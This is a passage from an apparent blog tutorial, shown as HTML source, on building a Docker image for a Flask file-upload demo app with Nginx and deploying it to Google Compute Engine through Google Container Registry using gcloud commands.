&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --bind 0.0.0.0:5000 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --log-level info
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above &lt;code>Dockerfile&lt;/code> performs a few high-level tasks to prepare the image:&lt;/p>
&lt;ol>
&lt;li>Installs Git, Python and associated packages&lt;/li>
&lt;li>Creates a system account (&lt;code>demo-user&lt;/code>) to run the app with limited privileges&lt;/li>
&lt;li>Clones the &lt;a href="https://github.com/mtlynch/flask_upload_demo">app source repo&lt;/a> locally&lt;/li>
&lt;li>Adds a &lt;code>CMD&lt;/code> to start the demo app on port 5000&lt;/li>
&lt;/ol>
&lt;p>You can test this &lt;code>Dockerfile&lt;/code> by cloning &lt;a href="https://github.com/mtlynch/docker-flask-upload-demo">my repo&lt;/a> and building the Docker container locally:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> ~
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git clone https://github.com/mtlynch/docker-flask-upload-demo.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> docker-flask-upload-demo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker build &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tag demo-app-image &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --detach &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 80:5000 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name demo-app &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> demo-app-image
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you visit &lt;a href="http://localhost/">http://localhost/&lt;/a> in a browser, you&amp;rsquo;ll see the demo app.&lt;/p>
&lt;h2 id="a-more-realistic-docker-image">A more realistic Docker image&lt;/h2>
&lt;p>Most web apps don&amp;rsquo;t accept traffic directly from the browser. Instead, they use an HTTP server like Nginx or Apache to handle generic tasks (e.g., load-balancing, serving static files) while the backend handles the app-specific logic.&lt;/p>
&lt;p>I added the &lt;a href="https://github.com/mtlynch/docker-flask-upload-demo/tree/nginx">&lt;code>nginx&lt;/code> branch to my Docker repo&lt;/a> to demonstrate a Docker image that&amp;rsquo;s closer to what you&amp;rsquo;d use in a real-world app. The relevant changes are below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install nginx.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">NGINX_GROUP&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;www-data&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>COPY nginx.conf /etc/nginx/sites-enabled/nginx.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN &lt;span style="color:#24909d">set&lt;/span> -x &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> apt-get install --yes &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> nginx &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> rm /etc/nginx/sites-enabled/default &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> usermod --append --groups &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$NGINX_GROUP&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_USER&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_USER&lt;/span>&lt;span style="color:#ed9d13"> ALL=(ALL:ALL) NOPASSWD: /usr/sbin/nginx&amp;#34;&lt;/span> &amp;gt;&amp;gt; /etc/sudoers
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nginx typically runs as root so that it can listen on privileged HTTP ports 80 and 443. Therefore, the &lt;code>Dockerfile&lt;/code> uses &lt;code>sudo&lt;/code> to allow the demo app user to launch Nginx as &lt;code>root&lt;/code> while still performing all of its other activities with limited privileges.&lt;/p>
&lt;p>Lastly, it copies an Nginx configuration file into the container:&lt;/p>
&lt;h3 id="nginxconf">&lt;code>nginx.conf&lt;/code>&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>server {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> listen 80;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> server_name example.org; # Replace with your server&amp;#39;s domain name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client_max_body_size 20m;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> # Serve static resources directly (bypass backend).
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> location /uploads/ {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> alias /srv/demo-app/demo/uploads/;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> # Forward all other requests to the application backend.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> location / {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> proxy_pass http://127.0.0.1:5000;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>location /uploads { ... }&lt;/code> block allows Nginx to serve files from the &lt;code>/uploads&lt;/code> folder directly instead of forwarding the request to the flask-upload-demo backend. This is a common configuration, as Nginx handles static files faster and more efficiently than the app backend.&lt;/p>
&lt;p>You can run the Nninx version of flask-upload-demo with the commands below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> ~/docker-flask-upload-demo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git checkout nginx
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker build &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tag demo-app-image &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --detach &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 80:80 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name demo-app &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> demo-app-image
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The app will once again appear at &lt;a href="http://localhost/">http://localhost/&lt;/a>. The behavior is identical to the previous version except that it uses fewer resources to serve file uploads.&lt;/p>
&lt;h2 id="preparing-your-gcp-project">Preparing your GCP Project&lt;/h2>
&lt;p>Deploying your app locally is neat, but it&amp;rsquo;s more exciting to publish to the cloud, where all of your users can access it. You&amp;rsquo;ll need to take a few steps to configure your system to deploy to GCP.&lt;/p>
&lt;p>First, specify your GCP project&amp;rsquo;s name in &lt;code>gcloud&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROJECT_ID&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;ENTER-YOUR-PROJECT-ID-HERE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud config &lt;span style="color:#24909d">set&lt;/span> project &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, use the GCP web console to &lt;a href="https://console.cloud.google.com/iam-admin/serviceaccounts">create a service account&lt;/a> with the owner role:&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Gotcha Warning&lt;/strong>: Due to &lt;a href="https://stackoverflow.com/q/53410165/90388">an apparent bug in GCP&lt;/a>, the Docker image push to gcr.io (see the following section) fails if you use your root GCP account (e.g., your @gmail.com account) or a service account you create through &lt;code>gcloud&lt;/code>.
&lt;/div>














 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 799px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/service-account-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 799px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/service-account-1_hu_f9457adeb2e1247f.png 300w, https://mtlynch.io/retrofit-docker-gcs/service-account-1_hu_e6cd7c19036767e8.png 600w, https://mtlynch.io/retrofit-docker-gcs/service-account-1.png 797w'
 src="https://mtlynch.io/retrofit-docker-gcs/service-account-1.png" alt="Screenshot of service account creation screen" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Creating a new service account from the GCP web console&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 799px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/service-account-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 799px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/service-account-2_hu_95eb64c3aad56add.png 300w, https://mtlynch.io/retrofit-docker-gcs/service-account-2_hu_2cf2091a9486c62d.png 600w, https://mtlynch.io/retrofit-docker-gcs/service-account-2.png 797w'
 src="https://mtlynch.io/retrofit-docker-gcs/service-account-2.png" alt="Screenshot of service account role selection screen" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Assigning a role to the service account&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Download the private key as &lt;code>key.json&lt;/code>:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 799px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/service-account-3.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 799px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/service-account-3_hu_3602afd18b764ef5.png 300w, https://mtlynch.io/retrofit-docker-gcs/service-account-3_hu_548f25b4c08bce4f.png 600w, https://mtlynch.io/retrofit-docker-gcs/service-account-3_hu_7b6997be91b2524f.png 800w, https://mtlynch.io/retrofit-docker-gcs/service-account-3.png 1024w'
 src="https://mtlynch.io/retrofit-docker-gcs/service-account-3.png" alt="Screenshot of service account private key download" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Downloading private keys for the service account&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Finally, use gcloud to authenticate as the service account you just created:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>gcloud auth activate-service-account --key-file key.json
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that you&amp;rsquo;ve authenticated, you&amp;rsquo;ll need to run a few commands to prepare your project for the rest of the tutorial:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Enable APIs you&amp;#39;ll need for this workflow.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud services &lt;span style="color:#24909d">enable&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> cloudresourcemanager.googleapis.com &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> compute.googleapis.com &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> containerregistry.googleapis.com &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> iam.googleapis.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Enable gcloud to provide credentials for Docker image pushes.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud auth configure-docker --quiet
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="uploading-image-to-google-container-registry">Uploading image to Google Container Registry&lt;/h2>
&lt;p>Before you deploy a Docker image to GCE, you need to publish it to a Docker image hosting service. GCR is Google Cloud&amp;rsquo;s integrated Docker image hosting service, so that&amp;rsquo;s the easiest option.&lt;/p>
&lt;p>To upload your Docker image to GCR, check out the &lt;code>nginx&lt;/code> branch of my example repo:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> ~/docker-flask-upload-demo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git checkout nginx
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, build the Docker image locally, and push the image to GCR:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">LOCAL_IMAGE_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;flask-upload-demo-image&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker build --tag &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$LOCAL_IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GCR_HOSTNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;gcr.io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GCR_IMAGE_PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GCR_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/flask-demo-app&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker tag &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$LOCAL_IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker push &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="deploying-the-docker-container">Deploying the Docker container&lt;/h2>
&lt;p>Deploying the container requires a bit of indirection. GCP doesn&amp;rsquo;t allow you to deploy a Docker image directly. Instead, you use GCE to spin up a full virtual machine (VM), run Docker on that VM, and then GCE runs your Docker image in a container in that VM. Fortunately, GCP&amp;rsquo;s tools simplify this process.&lt;/p>
&lt;p>GCE VMs forbid inbound HTTP traffic by default. To allow it, create a firewall rule that accepts TCP connections on port 80 (the standard port for plaintext HTTP traffic).&lt;/p>
&lt;p>An easy way to do this is to apply the rule to any VM with the tag &lt;code>http-server&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VM_TAGS&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;http-server&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud compute &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --project=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> firewall-rules create default-allow-http &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --direction=INGRESS &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --action=ALLOW &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --rules=tcp:80 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --target-tags=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_TAGS&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, deploy your GCE VM with the &lt;code>http-server&lt;/code> tag:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VM_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;flask-demo-app-vm&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MACHINE_TYPE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;n1-standard-1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ZONE&lt;/span>=us-east1-b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud compute &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --project=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> instances create-with-container &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --zone=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ZONE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --machine-type=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$MACHINE_TYPE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --network-tier=STANDARD &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --metadata=google-logging-enabled=&lt;span style="color:#24909d">true&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --maintenance-policy=MIGRATE &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --scopes=https://www.googleapis.com/auth/cloud-platform &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tags=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_TAGS&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --image-family=cos-stable &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --image-project=cos-cloud &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --boot-disk-size=10GB &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --boot-disk-type=pd-standard &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --boot-disk-device-name=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container-image=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --container-restart-policy=on-failure
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here are the interesting flags:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> --tags=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VM_TAGS&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>--tags&lt;/code> flag launches the VM using the tags you created for the firewall rules. This flag ensures that it receives HTTP traffic on port 80.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> --image-family=cos-stable &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --image-project=cos-cloud &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>These flags tell GCE to run the container under the &lt;a href="https://cloud.google.com/container-optimized-os/docs/how-to/create-configure-instance">Container-Optimized OS&lt;/a>, a stripped-down Linux OS that Google created to run Docker containers. The &lt;code>--image-family=cos-stable&lt;/code> tells &lt;code>gcloud&lt;/code> to use the latest stable version of the Container-Optimized OS.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>--container-image=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCR_IMAGE_PATH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
